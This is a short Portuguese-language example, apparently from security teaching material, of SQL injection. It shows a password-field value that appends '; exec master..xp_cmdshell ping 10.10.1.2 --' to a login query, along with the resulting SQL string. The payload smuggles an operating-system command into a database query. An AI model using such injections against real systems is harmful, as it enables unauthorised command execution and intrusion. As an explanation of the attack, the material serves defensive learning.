Manipulação do string SQL Com ME no campo Username e ; exec master..xp_cmdshell ping 10.10.1.2 -- no campo password String Resultante: Select * from userinfo where username = ME and password = ; exec master..xp_cmdshell ping 10.10.1.2 --
{}